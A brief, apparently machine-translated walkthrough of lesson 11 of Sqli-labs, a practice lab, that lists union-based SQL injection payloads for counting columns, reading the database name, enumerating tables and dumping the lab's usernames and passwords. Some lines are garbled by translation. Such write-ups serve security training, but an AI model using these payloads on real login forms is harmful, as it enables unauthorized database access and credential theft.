Sqli-labs cultivation of the Tao less-11

First determine the number of fields

Payload statement: admin ' ORDER by 2-s

　　

Normal display so the number of fields is greater than or equal to 2

Payload statement: admin ' ORDER by 3-s

Show Location field, combined with the preceding so the number of fields is 2

Construct UNION query statement payload Discovery display bit

Display bit as

Payload:adm ' Union Select 1,2-s

Inject query current user and current database

Payload:adm ' Union Select User (), database ()-S

The construct statement displays all table names for the current database:

Table Name: Emails,referers,uagents,users

Payload:adm ' UNION SELECT GROUP_CONCAT (TABLE_NAME), database () from information_schema.tables where Table_schema= ' Security '-S

The information we need is in the users table so

Field Name: Id,username,password

Let's query the contents of the Username,password field

Username:dumb,angelina,dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4password:d Umb,i-kill-you,[email Protected],crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Username and password one by one correspondence

Payload:adm ' Union Select GROUP_CONCAT (username), Group_concat (password) from users--s

Sqli-labs cultivation of the Tao less-11